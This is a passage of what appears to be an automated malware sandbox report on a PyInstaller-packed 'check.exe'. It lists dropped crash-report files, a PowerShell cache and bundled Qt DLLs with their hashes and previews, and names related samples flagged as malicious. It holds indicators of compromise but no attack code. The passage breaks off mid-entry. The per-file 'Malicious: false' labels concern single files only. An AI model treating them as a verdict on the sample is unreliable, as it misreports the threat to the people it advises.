Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.1.9.9.2.2.5.0.0.6.8.6.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.1.9.9.2.2.5.9.1.3.1.1.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.a.5.e.b.0.f.e.-.0.9.7.2.-.4.5.4.e.-.8.9.5.4.-.f.7.4.9.8.6.f.e.8.b.f.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.d.f.4.5.7.0.-.2.5.2.c.-.4.d.8.f.-.9.b.a.2.-.9.7.c.5.b.5.e.9.e.3.3.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.e.c.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.6.c.-.0.0.0.1.-.0.0.1.3.-.5.c.1.8.-.e.c.5.4.0.3.4.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.b.1.a.f.4.6.6.8.3.f.b.2.3.d.a.2.6.a.4.8.5.2.8.1.6.7.c.0.9.2.2.0.0.0.0.f.f.f.f.!.0.0.0.0.7.8.5.2.3.9.7.f.e.9.e.8.7.3.b.e.d.9.7.3.3.a.6.f.a.9.7.8.1.6.f.b.5.0.9.3.e.d.c.a.!.c.h.e.c.k...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2././.0.7.:.0.8.:.5.0.:.0.2.!.2.4.f.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_check.exe_ee4b2146e406d55d1d7bff4ca9740b54ae3d236_f571cb24_3e448435-1099-49cd-afd7-49fbadfeefbf\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3550032075243796
Encrypted:	false
SSDEEP:	192:04x9lN/0PRjijoRa7kk02LddC/vXgVACwx9Zq/U4denwn7cl2VmUVVUv1SnYzui1:Jx9lNsPRjij8/wnwPRzuiF9Y4lO81
MD5:	0ABCBEE1297491E6D8DB60CBA261891A
SHA1:	2C2D5E68438A823B42DF1E8E1CF685195E98C85B
SHA-256:	68681443C78233F7B6114D2037BB57F8C6F249AC98A0DE67EA9A564597E4C5A7
SHA-512:	D0880B95F7C9A458B2CE3B553DC649193D68E8909C1FDD336C096269B482E98ACE9A7CD1E24CB91FA2D1CBF064CD0F9098D9EDC9DB5B9E83421FD50E43A42D81
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.1.9.9.2.4.3.4.3.5.6.7.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.1.9.9.2.4.4.1.2.3.1.6.6.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.e.4.4.8.4.3.5.-.1.0.9.9.-.4.9.c.d.-.a.f.d.7.-.4.9.f.b.a.d.f.e.e.f.b.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.8.0.a.3.f.8.-.3.d.9.c.-.4.d.6.6.-.a.3.4.c.-.5.f.1.4.e.2.e.b.d.e.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.e.c.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.2.0.-.0.0.0.1.-.0.0.1.3.-.c.b.7.3.-.4.e.5.d.0.3.4.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.b.1.a.f.4.6.6.8.3.f.b.2.3.d.a.2.6.a.4.8.5.2.8.1.6.7.c.0.9.2.2.0.0.0.0.f.f.f.f.!.0.0.0.0.7.8.5.2.3.9.7.f.e.9.e.8.7.3.b.e.d.9.7.3.3.a.6.f.a.9.7.8.1.6.f.b.5.0.9.3.e.d.c.a.!.c.h.e.c.k...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2././.0.7.:.0.8.:.5.0.:.0.2.!.2.4.f.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_check.exe_ee4b2146e406d55d1d7bff4ca9740b54ae3d236_f571cb24_d4a4b39a-344c-4a95-9476-01ba86772e24\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3549753155223363
Encrypted:	false
SSDEEP:	192:bfvlc/0PRjijoRacTDb2UiaNQgeg6H9f+6kqA7/iJYwn7jlZaxxVVxv1SnYzuiF3:LlcsPRjijs3wn/GRzuiF9Y4lO81
MD5:	BF163A40B42F07653644B7E3E059EF46
SHA1:	89C783D0BC141FF08646F3269676161E9C69C6A0
SHA-256:	A5682897D8E45EA21B476B93ED95E8B525E239DD901DC72B3107DD51D0EBF994
SHA-512:	1772564E32D8E157A1F04610D15BC02D3E58C712FCB9044D6FE31791F8A4ABCC8024AAE85E77D891B589514344AF69EC55FD096FCB84F6381B7792E959DB8D55
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.1.9.9.2.4.9.6.4.4.1.0.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.1.9.9.2.5.0.4.8.7.8.6.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.4.a.4.b.3.9.a.-.3.4.4.c.-.4.a.9.5.-.9.4.7.6.-.0.1.b.a.8.6.7.7.2.e.2.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.e.f.3.a.3.3.3.-.1.e.2.6.-.4.6.8.4.-.a.8.6.1.-.2.4.a.6.f.a.9.3.a.f.2.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.e.c.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.f.4.-.0.0.0.1.-.0.0.1.3.-.d.a.6.f.-.3.0.6.4.0.3.4.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.b.1.a.f.4.6.6.8.3.f.b.2.3.d.a.2.6.a.4.8.5.2.8.1.6.7.c.0.9.2.2.0.0.0.0.f.f.f.f.!.0.0.0.0.7.8.5.2.3.9.7.f.e.9.e.8.7.3.b.e.d.9.7.3.3.a.6.f.a.9.7.8.1.6.f.b.5.0.9.3.e.d.c.a.!.c.h.e.c.k...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2././.0.7.:.0.8.:.5.0.:.0.2.!.2.4.f.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E26.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 9 06:27:23 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	134648
Entropy (8bit):	2.0322557298645383
Encrypted:	false
SSDEEP:	384:VPmBurHkVC3i2yXRUl5U7PDwNMTb2Boxf/63oaA8OAsW0TSMv0O:VPKurEiURUl5cM8b2Boxf/63oaPOAdIX
MD5:	AED560B98FDB4F0A3434AFE23CF2E999
SHA1:	AA52C751753690552A5F66DD5EC4F4ED4BD8B257
SHA-256:	4CCDC28C1D107DC8F96096ECD4A8391B8BFEAB9870643A25CB645E99F5FE3200
SHA-512:	FD387E66D5540E27073FDEE705A963B77358DFE0D07A8B1C5EBF55E71BF9B8E117B0540C3C2EE76EA16DBB1D1FACFDFAAD47B8C2732C6987A1157151876075A0
Malicious:	false
Preview:	MDMP..a..... ........Vg............$............%..8.......$....-...........\..........`.......8...........T............&..P............-.........../..............................................................................eJ......p0......Lw......................T....... .....Vg............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F31.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9258
Entropy (8bit):	3.6992182473727846
Encrypted:	false
SSDEEP:	192:R6l7wVeJQOjLV6YB4JTrDigmf5cpDu89bLS2gfeRgm:R6lXJ9Z6YB2nDigmf5OLSZfMF
MD5:	05AFC08AD50C81C7DD1D10E2B2419A78
SHA1:	9DB8307BBBC66F53C807B95A59CAAB8BC75FB421
SHA-256:	D4E4A15CF8F09AB0EE070AE0D6A68B5CC15F8B36DF5A4ED558ECF11C5B81CD9B
SHA-512:	222E9097268C44DDE13E9416B6F543AA2BB646E66BB13F9012EC4264F7B2BD3981239B91601507F93BF752AFB63492923A532FCEDA5C8E8927C506101430D994
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F80.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4734
Entropy (8bit):	4.430159939167727
Encrypted:	false
SSDEEP:	48:cvIwWl8zsPJg771I9WRWpW8VYTYm8M4JiWDFN6yq8vLWrMZfEjSZjd:uIjfxI7tA7V/JTmWirMLZjd
MD5:	7791EBD7B465C9F5892A409685DB5ACC
SHA1:	397F8F8D246969B745B972361318FE7E3A22AB93
SHA-256:	B3F3F328179FC36340280882BF1AEC4E2B7A6CD6D363830AB6CE26A225674A85
SHA-512:	C7853811113A838F7F3C5F77C4E517647063B10CA01259BBDD57FC986540AF68E7C9E8E94C4BF6F16DFD0AF0EFBD9F4A06A4CEFED52A0DDCC22DACAE4F6423A1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="623370" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3642.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 9 06:27:29 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	135192
Entropy (8bit):	2.0041999253556892
Encrypted:	false
SSDEEP:	384:4fP7T1YurHkVC3gjPFj9NPOTNYOoalV6AMfb45xOv:8P/1YurEiCPFb0NYOoalV6AvrO
MD5:	78BDDB30B00CF4E561FE6DE3CD612BAD
SHA1:	CD6A3470F14379B0F9BBFB3224DA5DD8B6445800
SHA-256:	E629158BB125F9DB6B80456217DFBF54A0A7AB8584F196AD20207F7CE2B74329
SHA-512:	BF7B7C31047863591D876C313294378F90020672C625D6C86E89E6BBE5763E9ADB9132FC90457295BEC523C89A83DEBC623DF7E28BBC6A4140CFC19483FE2FCB
Malicious:	false
Preview:	MDMP..a..... ........Vg............$............%..8.......$....-...........\..........`.......8...........T............&..p............-.........../..............................................................................eJ......p0......Lw......................T............Vg............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER37CA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9604
Entropy (8bit):	3.702403578829473
Encrypted:	false
SSDEEP:	192:R6l7wVeJZDrX6YhRdbIgmf5cpD089bL4hRLDfnROm:R6lXJNb6YXdbIgmf5QL4hNDfRX
MD5:	557A4F19C0D5B51B5C396741BF40F5A9
SHA1:	B453285919F2483C18363CC1021520A7F00623AE
SHA-256:	2C76F476C1DB5A6D49363B4E6F74A3A37D9A4516DB98463F818BF45F8EEE321C
SHA-512:	742882124035DDD6611391F0C6C5E2CC3200557A349860230CA238D1E45B1786FF10EFAB982A7958E967002FC1FD972A1D5E6F0A933D68DFC25BBA30A4AC2AE9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3819.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4735
Entropy (8bit):	4.430797509217984
Encrypted:	false
SSDEEP:	48:cvIwWl8zsPJg771I9WRWpW8VY4Ym8M4JiWDF+yq8vLWzhMZfEjSZK3d:uIjfxI7tA7VcJTUWiNMLZK3d
MD5:	80BD93C14145D6F585FBDC5C2AB81B88
SHA1:	E2CF58227C82DF81206BF8E6129B98F82DC5B6C7
SHA-256:	4B4A5B7FAD28DEF3DEB80832B460D4AE67FE483A5207D9C538B58CF418F061F8
SHA-512:	13B277C3206A550705A17AB42C59112FCEE95DC439D3938728BC91B03549A9E1DE48183A3FF32E9E5CD92A4B81EE67C4B89CADA81F11D78748AAF965557C737A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="623370" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5F2.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 9 06:27:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	134396
Entropy (8bit):	2.031356193731962
Encrypted:	false
SSDEEP:	768:uaP/kurEKrfW3AREUtF6DW4vuq1/mrYaBkdmH6OO8:u5KHBU86On
MD5:	6986EE935DD174EE395FE25BC27E6B18
SHA1:	AF1CC091B465F225F9DBC23E608A4FE73621266F
SHA-256:	3715C79C29D04CECFBF4B58E2DC7CF3BC763DA46C6140EBAFBAE893F5CCE2988
SHA-512:	01A778AB9B807D5186FBE1BB10B1EBAC16C276D60EE84A00CE9F1DE97EA7535518F55081906B8A06A79548D9BB95FF999B766AD9DCCD44ECFDBB0861C2D03A50
Malicious:	false
Preview:	MDMP..a..... .........Vg............$............%..8.......$....-......$....\..........`.......8...........T............%...............-.........../..............................................................................eJ......p0......Lw......................T.......l.....Vg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD7C8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9252
Entropy (8bit):	3.700861467808147
Encrypted:	false
SSDEEP:	192:R6l7wVeJWhx6YTv44jXgmf5cpDw89bLmOxfLR8m:R6lXJAx6YbnjXgmf58LmAftJ
MD5:	E824C777569E766660A417B86C61BFEF
SHA1:	E309F43DA979D779D77D506D92389E866E3B823D
SHA-256:	BB286B263AA1076FC8EDA5A0555ACCDACDBEC1B7022CF7E46B105E3135EE22F6
SHA-512:	B32781FD68FB01DF3FB5FD5AF17DE0D2BD2A988E29A1DCD1BBB3201909E835AFC4F9E9A2ED029333E35BFCE2B6553E4A87D956100D99AC44EABD74EC97AC1A3B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.1.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD826.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4734
Entropy (8bit):	4.432453357002298
Encrypted:	false
SSDEEP:	48:cvIwWl8zsKEJg771I9WRWpW8VY9Ym8M4JiWDFahyq8vLWB8MZfEjSZCd:uIjfnI7tA7VRJTEhWiqMLZCd
MD5:	CEBCDBC20C70B7EEB56A6A636EBA7482
SHA1:	6839ECC8EB02D7AD7AE36AF4D2C747B8E0292DB8
SHA-256:	0CFBD64EBEB6EF1986A13F8737F4294E213D23E277CAFAB92C525808DBB63809
SHA-512:	2FADEFE49E6743B7546EDE6869D32681DE97C422D06DC9A1ED4C1435095B026215FF6902FE3A7E492EA41A31C118F97DA95E83ED89362F6790D98B70BED681B1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="623369" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1464
Entropy (8bit):	5.323051483830583
Encrypted:	false
SSDEEP:	24:3L3SKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9txNBJt/NKwJ0hNuTx9r8Hv9ILAl/:bSU4y4RQmFoUeCamfm9qr9trBLNGhNuw
MD5:	60FB5A72861D80922E273CFBF200154A
SHA1:	57C0D4311ADB4A7977D56FD973DBE3EC15AA4E24
SHA-256:	0C98296CCEC61956B5C404DA858F231B2B25D9E9253405F55414C00CE2D191E6
SHA-512:	5B62605E93E8ED78C448E9FCD226B58E424721419FA4420EEA3EFEDD1518620F35644D4F3B878ADF43D5885D9BA3AA884F64716EC477B7CA49A8C5EA97AE0227
Malicious:	false
Preview:	@...e...........).....................L..............@..........@...............\|.jdY\.H.s9.!..\|(.......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.Management

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590112
Entropy (8bit):	6.461874649448891
Encrypted:	false
SSDEEP:	12288:xI88L4Wu4+oJ+xc39ax5Ms4ETs3rxSvYcRkdQEKZm+jWodEEVh51:xD89rxZfQEKZm+jWodEEP5
MD5:	01B946A2EDC5CC166DE018DBB754B69C
SHA1:	DBE09B7B9AB2D1A61EF63395111D2EB9B04F0A46
SHA-256:	88F55D86B50B0A7E55E71AD2D8F7552146BA26E927230DAF2E26AD3A971973C5
SHA-512:	65DC3F32FAF30E62DFDECB72775DF870AF4C3A32A0BF576ED1AAAE4B16AC6897B62B19E01DC2BF46F46FBE3F475C061F79CBE987EDA583FEE1817070779860E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: download.ps1, Detection: malicious, Browse Filename: check.exe, Detection: malicious, Browse Filename: check.exe, Detection: malicious, Browse Filename: az10.exe, Detection: malicious, Browse Filename: Update_4112024.exe, Detection: malicious, Browse Filename: Update_4112024.exe, Detection: malicious, Browse Filename: PyQtScrcpy.exe, Detection: malicious, Browse Filename: PyQtScrcpy.exe, Detection: malicious, Browse Filename: active.exe, Detection: malicious, Browse Filename: PumpBotPremium.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........LS..-=..-=..-=.....-=..U...-=..-<.k-=.gB<..-=.gB9..-=.gB>..-=.gB8.=-=.gB=..-=.gB..-=.gB?..-=.Rich.-=.........PE..d.....t^.........." .....@..........."...............................................z....`A.........................................j..h....D..,...............L;...... A......(...@...8...............................0............P.......f..@....................text...,>.......@.................. ..`.rdata..r....P.......D..............@..@.data....:...`..."...N..............@....pdata..L;.......<...p..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31728
Entropy (8bit):	6.499754548353504
Encrypted:	false
SSDEEP:	384:rOY/H1SbuIqnX8ndnWc95gW3C8c+pBj0HRN7bULkcyHRN7rxTO6iuQl9xiv:yYIBqnMdxxWd4urv
MD5:	0FE6D52EB94C848FE258DC0EC9FF4C11
SHA1:	95CC74C64AB80785F3893D61A73B8A958D24DA29
SHA-256:	446C48C1224C289BD3080087FE15D6759416D64F4136ADDF30086ABD5415D83F
